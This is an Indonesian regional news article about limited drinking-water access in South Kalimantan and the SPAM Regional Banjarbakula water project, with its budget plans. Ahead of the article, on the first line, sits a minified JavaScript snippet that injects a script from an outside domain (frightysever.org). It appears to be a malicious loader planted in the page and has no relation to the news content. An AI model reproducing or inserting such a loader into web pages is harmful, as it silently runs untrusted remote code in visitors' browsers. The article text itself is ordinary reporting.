(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Akses masyarakat untuk memperoleh air minum, hingga saat ini masih menjadi persoalan bagi pemerintah daerah termasuk Provinsi Kalsel. Bahkan, secara nasional belum ada satu provinsi pun yang memiliki akses air minum hingga 100 persen.
Berdasarkan data Badan Pusat Statistik (BPS) tahun 2018, rata-rata nasional untuk akses air minum layak tercatat untuk wilayah perkotaan sebesar 81,55 persen dan wilayah perdesaan baru 64,18, persen. Sedangkan persentase rumah tangga yang memiliki akses terhadap layanan sumber air minum layak dan berkelanjutan, secara nasional tercatat baru 65,28 persen.
Diakui Gubernur Kalsel Sahbirin Noor, Kalimantan Selatan adalah salah satu provinsi yang masih berada di bawah rata-rata nasional yaitu baru 50,46 persen rumah tangga yang memiliki akses air minum layak di tahun 2018. Meski begitu, jika dibandingkan tahun sebelumnya, angka ini telah mengalami kenaikan dari tahun sebelumnya.
“Tahun 2017 yang tercatat baru sebanyak 48,56 persen rumah tangga dengan akses air minum layak di daerah kita. Jadi setiap tahun sebenarnya ada peningkatan,†ujarnya.
Gubernur yang akrab disapa Paman Birin tersebut juga mengungkapkan bahwa pemerintah selama ini tidak berdiam diri baik di tingkat pusat maupun daerah. Salah satu upaya yang dilakukan, yakni membangun Sistem Pengolahan Air Minum (SPAM) Regional Banjarbakula.
Proses pembangunan SPAM Regional Banjarbakula telah dimulai sejak tahun 2013 lalu. Pembangunan SPAM Regional Banjarbakula bertujuan untuk menyediakan air baku untuk dua wilayah. Wilayah 1 meliputi Kota Banjarbaru, Kabupaten Banjar, dan Kabupaten Tanah Laut dan Wilayah 2 meliputi Kota Banjarmasin, Kabupaten Banjar, dan Kabupaten Barito Kuala. “SPAM ini berkapasitas 250 liter/detik dan telah selesai dibangun pada 2015 lalu,†katanya.
Rencanya, Pemprov Kalsel pada tahun 2020 mendatang akan melanjutkan pembangunan SPAM Regional Banjarbakula Tahap II.
Kepala Dinas PUPR Prov Kalsel Roy Rizali Anwar mengatakan, anggaran yang akan dikucurkan dalam kelanjutan pembangunan SPAM Regional Banjarbakula Tahap II akan menggunakan alokasi anggaran di tahun 2020 senilai Rp 80 miliar. Sedangkan, sisanya diselesaikan di tahun 2021.
“Terkait realisasi pembangunan tersebut, diperlukan lahan yang harus dimiliki Pemprov Kalsel sebagai pengelola. Sehingga, lahan semula berstatus milik Pemkab Banjar harus kita ambil alih melalui konversi dengan penyertaan modal Provinsi,†katanya. (rico)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.